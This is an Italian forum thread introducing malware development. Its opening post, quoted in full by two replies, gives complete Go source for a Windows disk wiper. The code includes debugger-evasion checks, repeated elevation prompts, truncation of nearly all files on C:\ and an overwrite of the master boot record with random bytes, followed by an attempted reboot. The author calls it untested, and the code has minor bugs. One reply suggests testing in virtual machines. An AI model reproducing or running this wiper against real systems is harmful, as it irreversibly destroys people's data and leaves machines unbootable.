Discussione Malware Introuzione al malware development + esempio

monnezzza

Utente Silver
11 Marzo 2021
119
23
53
86
Ultima modifica:
Il mondo del malware development è un ambiente affascinante e ricco di sfide.
Come sviluppatore di malware, si ha la possibilità di creare software con finalità maligne, che possono avere un impatto significativo sulla sicurezza informatica.

Entrare nel mondo del malware development può essere complesso, poiché richiede una solida conoscenza dei sistemi operativi, della programmazione e delle tecniche di attacco. Tuttavia, ci sono alcuni passi che si possono seguire per iniziare ad apprendere le basi del malware development:
  • Imparare un linguaggio di programmazione: per iniziare a creare malware, è necessario imparare un linguaggio di programmazione. I linguaggi più comunemente utilizzati per scrivere malware sono C, C++, Python e assembly.
  • Imparare l'architettura dei sistemi operativi: per creare malware efficace, è necessario comprendere come funzionano i sistemi operativi e come interagiscono con il hardware e il software.
  • Imparare le tecniche di attacco: per creare malware che possa bypassare le difese dei sistemi, è necessario conoscere le tecniche di attacco comuni utilizzate dai criminali informatici.
  • Studiare i malware esistenti: per imparare come creare malware efficace, è importante studiare i malware esistenti e capire come funzionano e quali sono i loro punti deboli.
  • Sperimentare in modo sicuro: è importante ricordare che creare e distribuire malware è illegal, è quindi fondamentale sperimentare in modo sicuro utilizzando ambienti virtuali o macchine obsolete.

Scrivere malware può essere utile anche per sviluppare asset senza detection per i Penetration Tester. Infatti, i Penetration Tester utilizzano spesso malware per testare la sicurezza dei sistemi e simulare un attacco reale. In questo modo, possono identificare eventuali vulnerabilità e fornire raccomandazioni per migliorare la sicurezza del sistema.

Per dimostrare un esempio di malware ho scritto un os-wiper in go che metterò a dispozione per tutti a patto che lo userete soltanto su i vostri pc o vm o come metodo di studio.

Attenti che questo script cripta tutti i file nel vostro pc e cancellerá l'mbr.
Messaggio per gli skid: Già caricato su virus total, mi dispiace ma non voglio che lo usiate per fare danni :)
Codice:
package main

import (
    "fmt"
    "os"
    "strings"
    "syscall"
    "github.com/mitchellh/go-ps"
    "golang.org/x/sys/windows"
    "os/exec"
    "crypto/rand"
    "sync"
    "io"
    "path/filepath"
    "runtime/debug"
  
)
func detectdbg() {
   // Qua vede se c'è un debug nel sistema
    if os.Getenv("GODEBUG") == "debug=1" {
        fmt.Println("Debugger is present, exiting program.")
        os.Exit(0)
    }
    // Qua scherzo con i researcher hahha (piccolo Easter egg)
    if debug.SetMaxThreads(0) > 1 {
        fmt.Println("Hello researcher, pleas don't continue to analyze this file")
        os.Exit(0)
    }
}

func runMeElevated() {
   // Questa funzione usa Shell exec per eseguire con runas il programma finché non danno i privilegi di admin
    verb := "runas"
    exe, _ := os.Executable()
    cwd, _ := os.Getwd()
    args := strings.Join(os.Args[1:], " ")

    verbPtr, _ := syscall.UTF16PtrFromString(verb)
    exePtr, _ := syscall.UTF16PtrFromString(exe)
    cwdPtr, _ := syscall.UTF16PtrFromString(cwd)
    argPtr, _ := syscall.UTF16PtrFromString(args)

    var showCmd int32 = 1

    for {
        err := windows.ShellExecute(0, verbPtr, exePtr, argPtr, cwdPtr, showCmd)
        if err != nil {
            processList, _ := ps.Processes()

            for _, process := range processList {
                if strings.ToLower(process.Executable()) == exe {
                    _, err := exec.LookPath(exe)
                    if err != nil {
                        fmt.Println("%s is not running as an administrator, retrying...", exe)
                    } else {
                        fmt.Println("%s is running as an administrator", exe)
                        break
                    }
                }
            }
        } else {
            break }
    }
}

func encryptFile(path string, wg *sync.WaitGroup) {
// qua apro il file
file, err := os.OpenFile(path, os.O_RDWR, 0644)
 if err != nil {
    fmt.Println("non possso aprire ", path)
 } else {
     fmt.Println("apto con successo ", path)
 }
 defer file.Close()
 // Qua tronco il file a 0 bytes
 err = file.Truncate(0)
 if err != nil {
  fmt.Println("errore nel wiping di ", path)
 } else {
     fmt.Println("wipato con successo ", path)
 }
wg.Done()
}
func mbr_over() {
     // Questa funzione "apre il disco" e mette nei primi 512 byte byte random per sovrascrivere l'mbr
    f, err := os.OpenFile("\\\\.\\PhysicalDrive0", os.O_WRONLY, 0)
    if err != nil {
        fmt.Println(err)
        return
    }
    defer f.Close()

    _, err = f.Seek(0, io.SeekStart)
    if err != nil {
        fmt.Println(err)
        return
    }

    mbr := make([] byte, 512)
    _, err = rand.Read(mbr)
    if err != nil {
        fmt.Println(err)
        return
    }

    _, err = f.Write(mbr)
    if err != nil {
        fmt.Println(err)
        return
    }
}

func main() {
// Questa è la funzione main
    detectdbg()
    runMeElevated()
    var wg sync.WaitGroup
// Qua uso filepath.Walk per andare tutte le cartelle e wipo i file (tranne dll, exe e bat)
    filepath.Walk("C:\\", func(path string, info os.FileInfo, err error) error {
        if info.IsDir() {
            return nil
        }

        if strings.HasSuffix(path, ".dll") || strings.HasSuffix(path, ".exe") || strings.HasSuffix(path, ".bat") {
            return nil
        } else {
            wg.Add(1)
            go encryptFile(path, &wg)
            return nil
        }
    })
   // Qua aspetto che tutti siano wipati
    wg.Wait()
    fmt.Println("tutti i file in c sono stati criptati")
    mbr_over()
    exec.Command("shutdown /t 00 /r")
}

La versione del wiper che ho pubblicato qua non l'ho ancora testata perché sono a corto di vm, quindi ditemi se funziona
 
Il mondo del malware development è un ambiente affascinante e ricco di sfide.
Come sviluppatore di malware, si ha la possibilità di creare software con finalità maligne, che possono avere un impatto significativo sulla sicurezza informatica.

Entrare nel mondo del malware development può essere complesso, poiché richiede una solida conoscenza dei sistemi operativi, della programmazione e delle tecniche di attacco. Tuttavia, ci sono alcuni passi che si possono seguire per iniziare ad apprendere le basi del malware development:
  • Imparare un linguaggio di programmazione: per iniziare a creare malware, è necessario imparare un linguaggio di programmazione. I linguaggi più comunemente utilizzati per scrivere malware sono C, C++, Python e assembly.
  • Imparare l'architettura dei sistemi operativi: per creare malware efficace, è necessario comprendere come funzionano i sistemi operativi e come interagiscono con il hardware e il software.
  • Imparare le tecniche di attacco: per creare malware che possa bypassare le difese dei sistemi, è necessario conoscere le tecniche di attacco comuni utilizzate dai criminali informatici.
  • Studiare i malware esistenti: per imparare come creare malware efficace, è importante studiare i malware esistenti e capire come funzionano e quali sono i loro punti deboli.
  • Sperimentare in modo sicuro: è importante ricordare che creare e distribuire malware è illegal, è quindi fondamentale sperimentare in modo sicuro utilizzando ambienti virtuali o macchine obsolete.

Scrivere malware può essere utile anche per sviluppare asset senza detection per i Penetration Tester. Infatti, i Penetration Tester utilizzano spesso malware per testare la sicurezza dei sistemi e simulare un attacco reale. In questo modo, possono identificare eventuali vulnerabilità e fornire raccomandazioni per migliorare la sicurezza del sistema.

Per dimostrare un esempio di malware ho scritto un os-wiper in go che metterò a dispozione per tutti a patto che lo userete soltanto su i vostri pc o vm o come metodo di studio.

Attenti che questo script cripta tutti i file nel vostro pc e cancellerá l'mbr.
Messaggio per gli skid: Già caricato su virus total, mi dispiace ma non voglio che lo usiate per fare danni :)
Codice:
package main

import (
    "fmt"
    "os"
    "strings"
    "syscall"
    "github.com/mitchellh/go-ps"
    "golang.org/x/sys/windows"
    "os/exec"
    "crypto/rand"
    "sync"
    "io"
    "path/filepath"
    "runtime/debug"
 
)
func detectdbg() {
   // Qua vede se c'è un debug nel sistema
    if os.Getenv("GODEBUG") == "debug=1" {
        fmt.Println("Debugger is present, exiting program.")
        os.Exit(0)
    }
    // Qua scherzo con i researcher hahha (piccolo Easter egg)
    if debug.SetMaxThreads(0) > 1 {
        fmt.Println("Hello researcher, pleas don't continue to analyze this file")
        os.Exit(0)
    }
}

func runMeElevated() {
   // Questa funzione usa Shell exec per eseguire con runas il programma finché non danno i privilegi di admin
    verb := "runas"
    exe, _ := os.Executable()
    cwd, _ := os.Getwd()
    args := strings.Join(os.Args[1:], " ")

    verbPtr, _ := syscall.UTF16PtrFromString(verb)
    exePtr, _ := syscall.UTF16PtrFromString(exe)
    cwdPtr, _ := syscall.UTF16PtrFromString(cwd)
    argPtr, _ := syscall.UTF16PtrFromString(args)

    var showCmd int32 = 1

    for {
        err := windows.ShellExecute(0, verbPtr, exePtr, argPtr, cwdPtr, showCmd)
        if err != nil {
            processList, _ := ps.Processes()

            for _, process := range processList {
                if strings.ToLower(process.Executable()) == exe {
                    _, err := exec.LookPath(exe)
                    if err != nil {
                        fmt.Println("%s is not running as an administrator, retrying...", exe)
                    } else {
                        fmt.Println("%s is running as an administrator", exe)
                        break
                    }
                }
            }
        } else {
            break }
    }
}

func encryptFile(path string, wg *sync.WaitGroup) {
// qua apro il file
file, err := os.OpenFile(path, os.O_RDWR, 0644)
 if err != nil {
    fmt.Println("non possso aprire ", path)
 } else {
     fmt.Println("apto con successo ", path)
 }
 defer file.Close()
 // Qua tronco il file a 0 bytes
 err = file.Truncate(0)
 if err != nil {
  fmt.Println("errore nel wiping di ", path)
 } else {
     fmt.Println("wipato con successo ", path)
 }
wg.Done()
}
func mbr_over() {
     // Questa funzione "apre il disco" e mette nei primi 512 byte byte random per sovrascrivere l'mbr
    f, err := os.OpenFile("\\\\.\\PhysicalDrive0", os.O_WRONLY, 0)
    if err != nil {
        fmt.Println(err)
        return
    }
    defer f.Close()

    _, err = f.Seek(0, io.SeekStart)
    if err != nil {
        fmt.Println(err)
        return
    }

    mbr := make([] byte, 512)
    _, err = rand.Read(mbr)
    if err != nil {
        fmt.Println(err)
        return
    }

    _, err = f.Write(mbr)
    if err != nil {
        fmt.Println(err)
        return
    }
}

func main() {
// Questa è la funzione main
    detectdbg()
    runMeElevated()
    var wg sync.WaitGroup
// Qua uso filepath.Walk per andare tutte le cartelle e wipo i file (tranne dll, exe e bat)
    filepath.Walk("C:\\", func(path string, info os.FileInfo, err error) error {
        if info.IsDir() {
            return nil
        }

        if strings.HasSuffix(path, ".dll") || strings.HasSuffix(path, ".exe") || strings.HasSuffix(path, ".bat") {
            return nil
        } else {
            wg.Add(1)
            go encryptFile(path, &wg)
            return nil
        }
    })
   // Qua aspetto che tutti siano wipati
    wg.Wait()
    fmt.Println("tutti i file in c sono stati criptati")
    mbr_over()
    exec.Command("shutdown /t 00 /r")
}

La versione del wiper che ho pubblicato qua non l'ho ancora testata perché sono a corto di vm, quindi ditemi se funziona
Se lo runno dal mio pc farò danni? Se si dimmi in che modo lo posso provare senza problemi
 
dimmi in che modo lo posso provare senza problemi
se vuoi evitare qualsiasi problema utilizza delle macchine virtuali. La stra-grande maggioranza dei malware non è in grado di "evadere" dalle macchine virtuale, per cui saresti al sicuro.

Ti consiglio, comunque, di imparare a leggere almeno un minimo di codice sorgente in modo da capire cosa faccia o non faccia uno script/programma ed evitarti spiacevoli conseguenze. Altrimenti affidati a tools già noti e ben rodati per la generazione dei tuoi payload (vedi msfvenom, giusto per fare un esempio)
 
Il mondo del malware development è un ambiente affascinante e ricco di sfide.
Come sviluppatore di malware, si ha la possibilità di creare software con finalità maligne, che possono avere un impatto significativo sulla sicurezza informatica.

Entrare nel mondo del malware development può essere complesso, poiché richiede una solida conoscenza dei sistemi operativi, della programmazione e delle tecniche di attacco. Tuttavia, ci sono alcuni passi che si possono seguire per iniziare ad apprendere le basi del malware development:
  • Imparare un linguaggio di programmazione: per iniziare a creare malware, è necessario imparare un linguaggio di programmazione. I linguaggi più comunemente utilizzati per scrivere malware sono C, C++, Python e assembly.
  • Imparare l'architettura dei sistemi operativi: per creare malware efficace, è necessario comprendere come funzionano i sistemi operativi e come interagiscono con il hardware e il software.
  • Imparare le tecniche di attacco: per creare malware che possa bypassare le difese dei sistemi, è necessario conoscere le tecniche di attacco comuni utilizzate dai criminali informatici.
  • Studiare i malware esistenti: per imparare come creare malware efficace, è importante studiare i malware esistenti e capire come funzionano e quali sono i loro punti deboli.
  • Sperimentare in modo sicuro: è importante ricordare che creare e distribuire malware è illegal, è quindi fondamentale sperimentare in modo sicuro utilizzando ambienti virtuali o macchine obsolete.

Scrivere malware può essere utile anche per sviluppare asset senza detection per i Penetration Tester. Infatti, i Penetration Tester utilizzano spesso malware per testare la sicurezza dei sistemi e simulare un attacco reale. In questo modo, possono identificare eventuali vulnerabilità e fornire raccomandazioni per migliorare la sicurezza del sistema.

Per dimostrare un esempio di malware ho scritto un os-wiper in go che metterò a dispozione per tutti a patto che lo userete soltanto su i vostri pc o vm o come metodo di studio.

Attenti che questo script cripta tutti i file nel vostro pc e cancellerá l'mbr.
Messaggio per gli skid: Già caricato su virus total, mi dispiace ma non voglio che lo usiate per fare danni :)
Codice:
package main

import (
    "fmt"
    "os"
    "strings"
    "syscall"
    "github.com/mitchellh/go-ps"
    "golang.org/x/sys/windows"
    "os/exec"
    "crypto/rand"
    "sync"
    "io"
    "path/filepath"
    "runtime/debug"
 
)
func detectdbg() {
   // Qua vede se c'è un debug nel sistema
    if os.Getenv("GODEBUG") == "debug=1" {
        fmt.Println("Debugger is present, exiting program.")
        os.Exit(0)
    }
    // Qua scherzo con i researcher hahha (piccolo Easter egg)
    if debug.SetMaxThreads(0) > 1 {
        fmt.Println("Hello researcher, pleas don't continue to analyze this file")
        os.Exit(0)
    }
}

func runMeElevated() {
   // Questa funzione usa Shell exec per eseguire con runas il programma finché non danno i privilegi di admin
    verb := "runas"
    exe, _ := os.Executable()
    cwd, _ := os.Getwd()
    args := strings.Join(os.Args[1:], " ")

    verbPtr, _ := syscall.UTF16PtrFromString(verb)
    exePtr, _ := syscall.UTF16PtrFromString(exe)
    cwdPtr, _ := syscall.UTF16PtrFromString(cwd)
    argPtr, _ := syscall.UTF16PtrFromString(args)

    var showCmd int32 = 1

    for {
        err := windows.ShellExecute(0, verbPtr, exePtr, argPtr, cwdPtr, showCmd)
        if err != nil {
            processList, _ := ps.Processes()

            for _, process := range processList {
                if strings.ToLower(process.Executable()) == exe {
                    _, err := exec.LookPath(exe)
                    if err != nil {
                        fmt.Println("%s is not running as an administrator, retrying...", exe)
                    } else {
                        fmt.Println("%s is running as an administrator", exe)
                        break
                    }
                }
            }
        } else {
            break }
    }
}

func encryptFile(path string, wg *sync.WaitGroup) {
// qua apro il file
file, err := os.OpenFile(path, os.O_RDWR, 0644)
 if err != nil {
    fmt.Println("non possso aprire ", path)
 } else {
     fmt.Println("apto con successo ", path)
 }
 defer file.Close()
 // Qua tronco il file a 0 bytes
 err = file.Truncate(0)
 if err != nil {
  fmt.Println("errore nel wiping di ", path)
 } else {
     fmt.Println("wipato con successo ", path)
 }
wg.Done()
}
func mbr_over() {
     // Questa funzione "apre il disco" e mette nei primi 512 byte byte random per sovrascrivere l'mbr
    f, err := os.OpenFile("\\\\.\\PhysicalDrive0", os.O_WRONLY, 0)
    if err != nil {
        fmt.Println(err)
        return
    }
    defer f.Close()

    _, err = f.Seek(0, io.SeekStart)
    if err != nil {
        fmt.Println(err)
        return
    }

    mbr := make([] byte, 512)
    _, err = rand.Read(mbr)
    if err != nil {
        fmt.Println(err)
        return
    }

    _, err = f.Write(mbr)
    if err != nil {
        fmt.Println(err)
        return
    }
}

func main() {
// Questa è la funzione main
    detectdbg()
    runMeElevated()
    var wg sync.WaitGroup
// Qua uso filepath.Walk per andare tutte le cartelle e wipo i file (tranne dll, exe e bat)
    filepath.Walk("C:\\", func(path string, info os.FileInfo, err error) error {
        if info.IsDir() {
            return nil
        }

        if strings.HasSuffix(path, ".dll") || strings.HasSuffix(path, ".exe") || strings.HasSuffix(path, ".bat") {
            return nil
        } else {
            wg.Add(1)
            go encryptFile(path, &wg)
            return nil
        }
    })
   // Qua aspetto che tutti siano wipati
    wg.Wait()
    fmt.Println("tutti i file in c sono stati criptati")
    mbr_over()
    exec.Command("shutdown /t 00 /r")
}

La versione del wiper che ho pubblicato qua non l'ho ancora testata perché sono a corto di vm, quindi ditemi se funziona
Che linguaggio è?